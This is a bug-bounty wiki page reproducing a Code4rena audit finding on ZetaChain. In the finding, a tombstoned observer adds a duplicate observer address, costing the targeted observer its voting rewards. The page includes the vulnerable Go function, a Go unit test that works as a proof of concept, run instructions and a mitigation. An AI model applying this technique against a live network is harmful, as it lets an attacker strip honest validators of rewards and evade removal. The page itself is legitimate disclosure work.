Skip to content
Business logic Audit finding Intermediate

Tombstoned observer can maliciously add a duplicate observer address resulting in forfeiting voting rewards of targeted observers

A tombstoned observer can update their observer address to one already in the ObserverList, creating a duplicate. This duplicate causes the targeted observer to miss votes and forfeit voting rewards, and also allows the tombstoned observer to remain active after removal.

berndartmueller Follow with kuprum and p0wd3r

Originally disclosed on Code4rena

Submitted by berndartmueller, also found by kuprum and p0wd3r

  1. If the ObserverList contains duplicates, any newly created ballots will have duplicates in their VoterList. As a result, this prevents an observer from receiving voting rewards as the reward for the legitimate vote would be offset by the penalty received for missing the vote for the duplicate observer address (repeatedly voting for a ballot with the same address does not work).
  2. Removing an observer (e.g., due to the validator leaving the network or due to slashing) that has duplicates will only remove the first occurrence of the address in the list. See node/x/observer/keeper/hooks.go#L142. The other occurrences will remain in the list and allow the observer to continue to post new light-client block headers.

Proof of Concept

The MsgUpdateObserver message, handled in the UpdateObserver function, allows the admin or an (tombstoned) observer to update the observer address.

Internally, in line 36, the UpdateObserverAddress function is called to update the observer address in the ObserverMapper for each chain.

086: func (k Keeper) UpdateObserverAddress(ctx sdk.Context, oldObserverAddress, newObserverAddress string) {
087: 	observerMappers := k.GetAllObserverMappers(ctx)
088: 	for _, om := range observerMappers {
089: 		UpdateObserverList(om.ObserverList, oldObserverAddress, newObserverAddress)
090: 		k.SetObserverMapper(ctx, om)
091: 	}
092: }
093:
094: func UpdateObserverList(list []string, oldObserverAddresss, newObserverAddress string) {
095: 	for i, observer := range list {
096: 		if observer == oldObserverAddresss {
097: 			list[i] = newObserverAddress
098: 		}
099: 	}
100: }
101:

However, a tombstoned observer is able to maliciously add a duplicate observer to the list by specifying an observer address (NewObserverAddress) in the MsgUpdateObserver message that is already in the ObserverList list.

As a result, the ObserverList list contains duplicates.

For the specific impact, please refer to the Impact section.

Test Case

The following test case demonstrates how the tombstoned validator can add a duplicate observer address:

Test case (click to reveal)

func TestAddDuplicateObserver(t *testing.T) {
	k, ctx := keepertest.ObserverKeeper(t)
	srv := keeper.NewMsgServerImpl(*k)
	// #nosec G404 test purpose - weak randomness is not an issue here
	r := rand.New(rand.NewSource(9))

	// Set validator in the store
	validator := sample.Validator(t, r)
	validatorOther := sample.Validator(t, r)
	validatorOther.Status = stakingtypes.Bonded
	validatorNew := sample.Validator(t, r)
	validatorNew.Status = stakingtypes.Bonded
	k.GetStakingKeeper().SetValidator(ctx, validatorNew)
	k.GetStakingKeeper().SetValidator(ctx, validator)
	k.GetStakingKeeper().SetValidator(ctx, validatorOther)

	consAddress, err := validator.GetConsAddr()
	assert.NoError(t, err)
	k.GetSlashingKeeper().SetValidatorSigningInfo(ctx, consAddress, slashingtypes.ValidatorSigningInfo{
		Address:             consAddress.String(),
		StartHeight:         0,
		JailedUntil:         ctx.BlockHeader().Time.Add(1000000 * time.Second),
		Tombstoned:          true,
		MissedBlocksCounter: 1,
	})

	chains := k.GetParams(ctx).GetSupportedChains()

	accAddressOfValidator, err := types.GetAccAddressFromOperatorAddress(validator.OperatorAddress)
	assert.NoError(t, err)

	accAddressOfOtherValidator, err := types.GetAccAddressFromOperatorAddress(validatorOther.OperatorAddress)
	assert.NoError(t, err)

	// newOperatorAddress, err := types.GetAccAddressFromOperatorAddress(validatorNew.OperatorAddress)
	// assert.NoError(t, err)

	count := uint64(0)
	for _, chain := range chains {
		k.SetObserverMapper(ctx, &types.ObserverMapper{
			ObserverChain: chain,
			ObserverList:  []string{accAddressOfValidator.String(), accAddressOfOtherValidator.String()},
		})
		count += 2
	}
	k.SetNodeAccount(ctx, types.NodeAccount{
		Operator: accAddressOfValidator.String(),
	})

	k.SetLastObserverCount(ctx, &types.LastObserverCount{
		Count: count,
	})

	_, err = srv.UpdateObserver(sdk.WrapSDKContext(ctx), &types.MsgUpdateObserver{
		Creator:            accAddressOfValidator.String(),
		OldObserverAddress: accAddressOfValidator.String(),
		NewObserverAddress: accAddressOfOtherValidator.String(),
		UpdateReason:       types.ObserverUpdateReason_Tombstoned,
	})
	assert.NoError(t, err)
	acc, found := k.GetNodeAccount(ctx, accAddressOfOtherValidator.String())
	assert.True(t, found)
	assert.Equal(t, accAddressOfOtherValidator.String(), acc.Operator)

	mapper, _ := k.GetObserverMapper(ctx, chains[0])

	assert.ElementsMatch(t, mapper.ObserverList, []string{accAddressOfOtherValidator.String(),   accAddressOfOtherValidator.String()}) // @audit-info Duplicate observers
}

How to run this test case:

Copy-pase the test case into repos/node/x/observer/keeper/msg_server_update_observer_test.go and run with go test -v ./x/observer/keeper/msg_server_update_observer_test.go --run TestAddDuplicateObserver

Result: The test will pass.

Please note that an admin can also accidentally add duplicate observers, node/x/observer/keeper/msgserveradd_observer.go#L47

Recommended mitigation steps

Consider checking in the UpdateObserverAddress function if the newObserverAddress is already in the list and return an error if it is.

lumtis (ZetaChain) confirmed


The original report as published on Code4rena, by berndartmueller. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The targeted observer could lose voting rewards due to missed votes from the duplicate, and the tombstoned observer may continue to post block headers after removal.

What the attacker needed

Tombstoned observer status; knowledge of another observer's address

How it was found

  1. A validator is tombstoned (e.g., due to slashing).
  2. The tombstoned observer sends a MsgUpdateObserver message with NewObserverAddress set to an address already in the ObserverList.
  3. The UpdateObserverAddress function replaces the old address with the new one without checking for duplicates.
  4. The ObserverList now contains duplicate entries, causing the targeted observer to miss votes and forfeit rewards.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this blockchain network, observers vote on blocks and earn rewards. A removed (tombstoned) observer can trick the system by changing their address to another observer's address, creating a duplicate entry. This duplicate makes the real observer appear to miss votes, so they lose rewards, and the removed observer can keep participating.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by berndartmueller

View all

97 more disclosed reports, best first.

More from ZetaChain

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.